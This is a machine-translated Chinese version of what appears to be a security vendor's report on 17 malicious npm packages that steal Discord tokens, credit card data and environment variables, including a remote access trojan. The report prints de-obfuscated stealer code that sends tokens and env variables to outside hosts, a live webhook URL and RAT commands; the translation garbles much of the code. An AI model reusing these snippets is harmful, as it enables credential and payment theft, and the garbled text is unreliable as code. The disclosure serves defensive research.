恶意的npm包在你的Discord令牌后- 17个新包被披露

JFrog安全研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,并向存储库维护者和更广泛的社区报告发现的任何漏洞或恶意包。最近我们在PyPI存储库中公开了11个恶意包,这一发现表明,攻击的手段越来越复杂。先进的逃避技术用于PyPI恶意软件软件包标志着一个令人不安的趋势,即攻击者对开源软件的攻击正变得越来越隐蔽。
紧跟着这份报告,我们现在分享我们最新工作的发现——在npm (Node.js包管理器)存储库中暴露了17个恶意包是我们的自动扫描工具发现的。其中许多人故意试图攻击用户的Discord令牌,这是一组字母和数字,作为访问Discord服务器的授权代码。它实际上是用户的凭证。简单地说:获取受害者的Discord令牌使攻击者能够完全访问受害者的Discord帐户。
我们披露了这些17个恶意软件包给NPM代码维护者,并且这些包被立即从NPM存储库中删除——这很好地表明这些包确实引起了问题。幸运的是,这些包在获得大量下载(基于npm记录)之前就被删除了,因此我们设法避免了类似于上次PyPI披露的情况,即恶意包在被检测到并删除之前被下载了数万次。
这些包的有效载荷是不同的,从infostealers到完全远程访问后门。此外,这些软件包有不同的感染策略,包括拼写错误、依赖项混淆和木马功能。
在我们深入了解我们发现的细节以及如何最好地保护自己免受这种威胁之前,我们还建议您阅读我们的文章关于漏洞扫描最佳实践的提示.
报告包
“感染方法”是从包元数据中猜测的-没有观察到实际的攻击。
| 包 | 版本 | 有效载荷 | 感染的方法 |
| prerequests-xcode | 1.0.4 | 远程访问木马(老鼠) | 未知的 |
| discord-selfbot-v14 | 12.0.3 | Discord代币抓取器 | 受害情况/特洛伊(discord.js) |
| discord-lofy | 11.5.1 | Discord代币抓取器 | 受害情况/特洛伊(discord.js) |
| discordsystem | 11.5.1 | Discord代币抓取器 | 受害情况/特洛伊(discord.js) |
| discord-vilao | 1.0.0 | Discord代币抓取器 | 受害情况/特洛伊(discord.js) |
| fix-error | 1.0.0 | PirateStealer(不和恶意软件) | 木马 |
| wafer-bind | 1.1.2 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-autocomplete | 1.25.0 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-beacon | 1.3.3 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-caas | 1.14.20 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-toggle | 1.15.4 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-geolocation | 1.2.10 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-image | 1.2.2 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-form | 1.30.1 | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-lightbox | 1.5.4 | 环境变量窃听器 | 受害情况(晶片- *) |
| octavius-public | 1.836.609 | 环境变量窃听器 | 受害情况(屋大维) |
| mrg-message-broker | 9998.987.376 | 环境变量窃听器 | 依赖关系混乱 |
为什么要偷Discord代币?
我们最近看到了大量的恶意软件,之前在我们的PyPI出版物中(例如noblesse, DiscordSafety),现在也在npm存储库中。
不和是一个无处不在的数字通信平台,拥有超过3.5亿注册用户,可以通过语音通话、视频通话、短信和媒体文件(或其他任意文件)进行通信。这可以私下完成(用户对用户),也可以在称为“服务器”的持久虚拟房间中完成。
考虑到这一点,人们可能会想:为什么要偷Discord代币?
从我们的研究中,我们假设了几个诱人的原因:
- 利用这个平台进行攻击
Discord服务器通常被用作匿名命令和控制(C2)服务器,控制远程访问木马(RAT)甚至整个僵尸网络。或者,Discord服务器可以用作匿名泄露渠道。在我们之前的研究中,我们注意到“noblesse”恶意软件家族使用Discord网络钩子窃取被盗数据。如果攻击者获得任意的Discord用户/服务器,这就允许更好的攻击匿名化,因为使用这些凭证的任何攻击都将追踪到合法用户,而不是攻击者。 - 向Discord用户传播恶意软件
被黑客入侵的Discord账户可以用于社会工程目的,继续传播恶意软件-手动或自动通过一个蠕虫.受害者更有可能接受(并执行)来自朋友在Discord账户上的任意文件,而不是一个完全陌生的人发送的文件。 - 出售被盗的保费账户
Discord提供一项名为"不和硝基.这项服务目前每年收费100美元,并为用户解锁了几个装饰性选项(表情符号,徽章等),以及“提升”所选服务器的选项,这可以提高该服务器上的通话和视频流的质量。攻击者的目标可能是购买了Nitro的Discord账户,以便在在线市场上廉价转售。例如,这可以在“play爆发”市场中看到:

市场既出售独立的Nitro钥匙和启用Nitro的整个帐户.
欲进一步阅读有关Discord恶意环境的信息,Sophos也在这方面做了大量的研究.
Discord代币掠夺者
由于这种攻击有效载荷的流行,在GitHub上发布了很多带有构建说明的Discord令牌抓取器:

攻击者可以使用这些模板之一,并在没有广泛的编程技能的情况下开发自定义恶意软件——这意味着任何新手黑客都可以在几分钟内轻松完成。如前所述,这可以与各种在线混淆工具一起使用,以避免基本的检测技术。
重要的是要注意,这些有效负载不太可能被反病毒解决方案捕获,而不是一个完全的RAT后门,因为一个Discord窃取者不会修改任何文件,不会在任何地方注册自己(例如,在下一次引导时执行),也不会执行可疑的操作,如生成子进程。
的discord-lofy而且discord-selfbot-v14软件包由同一作者(davisousa)发布,并假装是流行的合法库的修改discord.js,可以与Discord API进行交互。
在典型的木马方式中,包试图通过复制README来误导受害者。原包中的Md:

恶意软件的作者以原始的discord.js库为基础,在文件中注入了模糊的恶意代码src /客户/行动/ UserGet.js:

混淆版本的代码非常庞大:超过4000行无法阅读的代码,包含了所有可能的混淆方法:混乱的变量名,加密的字符串,代码扁平化和反射函数调用:
函数I6(b, t, D, F, t, s,…){返回L(by - 0x2c8, Ll);}函数I3(b, t, D, F…){返回L(IR - -0x32d, tJ);}函数I0(b, t, D, F,…){返回L(vy - -0x3c2, LM);}函数a(b, t, D, F,…){返回L(Ly - -0x5f, v7);}
通过手工分析和脚本编写,我们能够澄清这个包,并揭示它的最终有效负载非常简单——有效负载只是在知名浏览器的本地存储文件夹(以及特定于Discord的文件夹)上迭代,然后使用正则表达式搜索看起来像Discord令牌的字符串。任何找到的令牌都会通过HTTP POST发送回硬编码的服务器https://aba45cf.glitch.me/polarlindo:
path = ['/Users/user/AppData/Roaming/Discord/Local Storage/leveldb' '/Users/user/AppData/Roaming/Lightcord/Local Storage/leveldb' '/Users/user/AppData/Roaming/discordcanary/Local Storage/leveldb' '/Users/user/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb' ',“/Users/user/AppData/漫游/Opera软件/Opera GX稳定/本地存储/leveldb”“/Users/user/AppData/Local/Amigo/用户数据/本地存储/leveldb”“/Users/user/AppData/Local/Torch/用户数据/本地存储/leveldb”,“/Users/user/AppData/Local/ komata /用户数据/本地存储/leveldb”,“/用户/用户/AppData/Local/AppData/Local/Orbitum/用户数据/本地存储/leveldb”“/用户/用户/AppData/Local/七星/七星/用户数据/本地存储/leveldb”“/用户/用户/AppData/Local/Sputnik/Sputnik/用户数据/本地存储/leveldb”“/用户/用户/用户/AppData/Local/Vivaldi/用户数据/默认/本地存储/leveldb”“/用户/用户/用户/AppData/Local/谷歌/Chrome SxS/用户数据/本地存储/leveldb”“/用户/用户/AppData/Local/谷歌/Epic隐私浏览器/用户数据/本地存储/leveldb' '用户/用户/AppData/Local/谷歌/Chrome/用户数据/默认/本地存储/leveldb' '用户/用户/AppData/Local/uCozMedia/Uran/用户数据/默认/本地存储/leveldb' '用户/用户/用户/AppData/Local/Microsoft/Edge/用户数据/默认/本地存储/leveldb' '用户/用户/用户/AppData/Local/Yandex/YandexBrowser/用户数据/默认/本地存储/leveldb' '用户/用户/用户/AppData/Local/Opera Software/Opera Neon/用户数据/默认/本地存储/leveldb' ''/Users/user/AppData/Local/BraveSoftware/Brave-Browser/ user Data/Default/Local Storage/leveldb'];路径。forEach(p => getToken(p))函数getToken(p) {fs。readdir (p (e, f) = >{如果(f) {f = f.filter (f = > f.endsWith (ldb)) f.forEach (f = > {var fileContent = fs.readFileSync(“$ {p} / $ {f}’).toString () var noMFA = /”(\ d \ w_(){24} \。(\ d \ w_(){6} \。[\d\w_-]{27}"/ var mfa = /"mfa\。[\d\w_-]{84}"/ var [token] = noMFA.exec(fileContent) || mfa.exec(fileContent) || [undefined] if (token) fetch("http://ip-api.com/json/").then(r => r.json()))。然后(r => fetch('https://aba45cf[.]glitch[.]。]me/polarlindo',{方法:"POST",正文:JSON。stringify({ token: token, ip: r.query }) })) }) } }) }
的discordsystem而且discord-vilao包是由不同的作者上传的,但与前两个包非常相似,除了泄露方法-被盗的令牌通过硬编码发送回来不和Webhook.例如,discordsystem会泄露到以下Webhook:https://canary.discord.com/api/webhooks/903018156283551775/lJOJ9526e_rzw0Js2DQPdV0eYQd5RQybtUcJqolp84JTwlxJxaWnuam9FyUplYN2TJfT
PirateStealer
的fix-error包是另一个木马包,承诺“修复错误在不和谐的selfbot”。当检查包代码时,很容易看到它是模糊的:
eval(函数(p, a、c、k、e、d){虽然(c)){如果(k [c]) {p = p(“\ \ x72 \ \ x65 \ \ x70 \ \ x6C \ \ x61 \ \ x63 \ \ x65”)(新RegExp(“\ \ x5C \ \ x62”+ c +“\ \ x5C \ \ x62”、“\ \ x67”)}};返回p}(“\ \ x35 \ \ x39 \ \ x20的\ \ x32 \ \ x35 \ \ x3D \ \ x5B \ \将\ \ x5C \ \ x31 \ \ x31 \ \ x5C \ \ x31 \ \ x34 \ \ x5C \ \ x34 \ \ x32 \ \ x5C \ \ x31 \ \ x35……
这一次,有效负载可以通过替换很容易地消除混淆eval与console.log.
不像混淆器使用discord-lofy,这个混淆器不会改变代码流,但坚持基本原则(混淆字符串和替换变量名),所以完全去混淆是非常简单的:
...函数listDiscords () {exec(_0[34],函数(_2、_4 _12){如果(_4 [_0 [9]](_0 [35])){runningDiscords [_0 [11]] (_0 [36])};如果(_4 [_0 [9]](_0 [37])){runningDiscords [_0 [11]] (_0 [38])};如果(_4 [_0 [9]](_0 [39])){runningDiscords [_0 [11]] (_0 [40])};killDiscord()})}函数killDiscord () {runningDiscords [_0 [12]] ((_3) = > {exec(“${_0[41]}${_3}${_0[42]}”,(“_2)= >{如果(_2){返回}})});感染();pwnBetterDiscord()}…
在检查了经过消除混淆的代码之后,很明显这是臭名昭著的混淆版本PirateStealer黑客工具。这个工具会窃取存储在Discord客户端的私人数据,例如信用卡、登录凭证和个人身份信息(PII)。
黑客工具通过注入工作恶意Javascript代码进入Discord客户端。
注入的代码监视用户,并将窃取的信息发送回一个硬编码的Webhook地址:
m ={用户名:“Vilao”,内容:“”,嵌入:[{标题:“Cartao Adicionado”,描述:“* *省 :**```" + c.username + + c.discriminator +“#”“\ n * * ID :**```" + c.id + " ' ' ' \ n * *电子邮件 :**```" + c.email + " ' ' ' \ n * *蒂波德硝基 :**```" + GetNitro (c.premium_type) + " ' ' \ n * *徽章 :**```" + GetBadges (c.flags) + " ' ' \ n * * Cartao n °: **```" + e +”“\ n * * Expira em : **```" + n + " + r + " ' ' ' \ n * * CVC : **```" + t +”“\ n * * Regiao : **```" + l + " ' ' ' \ n * *带动 : **```" + o +”“\ n”* *:* *”的“+ +”“\ n * *邮政 :**```" + 我+ " ' ' ' \ n * * Bairro : **```" + + " ' ' ' \ n * *牌 :**```" + p + " ' ' ' \ n * * IP : **```" + d + "```", 作者:{名称:“Vilao”},页脚:{文本:“Vilao”},缩略图:{url:“https://cdn.discordapp.com/avatars/”+ c.id + " + c.avatar}}};SendToWebhook (JSON.stringify (m))
远程访问木马
这个包prerequests-xcode没有描述,但有一个令人印象深刻的依赖项列表,这暗指它要泄露的敏感数据:
{“依赖性”:{“axios”:“^ 0.21.1”、“clipboardy”:“^ tripwire”、“desktop-screenshot”:“^ 0.1.1”、“不和”:“^ 0.8.2”、“discord-pages”:“^ 1.0.2”,“discord-webhook-node”:“^ 1.1.8”、“discord.js”:“^ 11.6.4”、“表达”:“^ 4.17.1”、“http”:“0.0.1-security”、“懒”:“^ 1.0.11”、“响度”:“^ 0.4.1”、“node-hide-console-window”:“^ 2.1.0的”,“node-webcam”:“^ 0.8.0”,“开放”:“^ 8.3.0”、“操作系统”:“^ 0.1.2”、“路径”:“^ 0.12.7”、“ps-node”:“^ 0.1.6”、“请求”:“^ 2.88.2”、“screenshot-desktop”:“^ 1.12.7”、“serve-index”:“^ 1.9.1”、“插座。Io ": "^4.2.0"}}
在检查包的代码时,我们发现它包含一个Node.JS端口DiscordRAT(最初用Python编写),使攻击者能够完全控制受害者的机器。恶意软件与流行的在线工具混淆了obfuscator.io,但在这种情况下,检查可用命令列表就足以理解RAT的功能(逐字复制):
webcampic——把一幅画从摄像头!截图,需要用户的当前屏幕的截图!根据执行VBScript代码来自攻击者! Powershell Powershell执行代码来自攻击者!剪贴板-发送给攻击者的剪贴板内容!下载,下载文件从受害者机器!定位——从https://geolocation-db.com/json/发送数据!密码——发送给攻击者所有的密码存储在系统!壳——执行一个shell命令!tokens -向攻击者发送discord令牌!listprocess -接收正在运行的进程的信息
类似于老式的IRC恶意软件,这个RAT是由一个不和的私人聊天控制的。
环境变量窃听器
我们的研究揭露了10个执行环境变量盗窃的包。的晶片- *包(wafer-bind,wafer-beacon,等等)不包含任何合法的功能,而是包含一小段恶意代码,即使经过混淆,也可以理解:
函数a0_0x2c5d(_0x3c5edd, _0x43388a) {const _0x5bc4a6 = a0_0x5bc4();返回a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {_0x2c5dfc = _0x2c5dfc - 0x1bd;Let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];返回_0x2f5ef7;}, a0_0x2c5d(_0x3c5edd, _0x43388a);}要求= http(“请求”)({“主机”:[“a5eb7b362adc824ed7d98433d8eae80a”、“米”,“白日梦”,“网”)(“加入 "]('.'), ' 路径 ': '/' + ( [“env”][“npm_package_name过程 "] || ''), ' 方法”:“POST”}),要求(“写”)(缓冲区(“的”)(JSON(函数”把“)(过程[' env ']))(“toString”)(“base64”),要求(“结束”)();
恶意软件只是收集所有受害者进程的环境变量,并将它们(作为base64编码的字符串)发送到a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net.
这是一个危险的有效负载,因为环境变量是保存运行时需要使用的秘密的主要位置(因为它们比将秘密保存在明文存储中或通过命令行变量传递秘密更安全)。
例如,AWS CLI支持通过环境变量获取AWS秘密访问密钥:
$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ export AWS_DEFAULT_REGION=us-west-2
这些恶意包针对的机器类型,即开发人员和CI/CD机器,很可能在用户环境中包含此类机密和访问密钥。
所有其他环境窃取包都包含非常相似的混淆和有效负载,有时使用略微不同的参数(例如不同的泄露服务器)。
结论
在npm存储库中发现的恶意软件与我们的PyPI恶意软件监控发现的恶意包非常相似。攻击者通常使用带有轻微修改(甚至未修改的工具)的公共黑客工具,这些工具使用公共模糊器进行混淆。
我们正在目睹最近通过开源软件库托管和交付的恶意软件的攻击。公共存储库已经成为恶意软件分发的便利工具:存储库的服务器是受信任的资源,与它通信不会引起任何防病毒或防火墙的怀疑。此外,通过自动化工具(如npm客户端)轻松安装也提供了一个成熟的攻击向量。
鉴于这一威胁,我们正在不断努力帮助开发人员社区和我们的客户,暴露新的恶意程序包和恶意软件作者用来隐藏它们的技术,以提高流行存储库的安全性。我们也建议组织采取预防措施,管理他们在软件管理中对npm的使用,以降低将恶意代码引入应用程序的风险。
请继续关注
除了曝光新安全漏洞和威胁,JFrog提供开发人员和安全团队轻松访问最新的相关信息,为他们的软件与自动安全扫描JFrog x光.请继续关注我们的产品更新,包括自动漏洞和恶意代码检测,以抵御最新出现的威胁。
问题吗?想法吗?与我们联络research@www.si-fil.com有任何疑问。
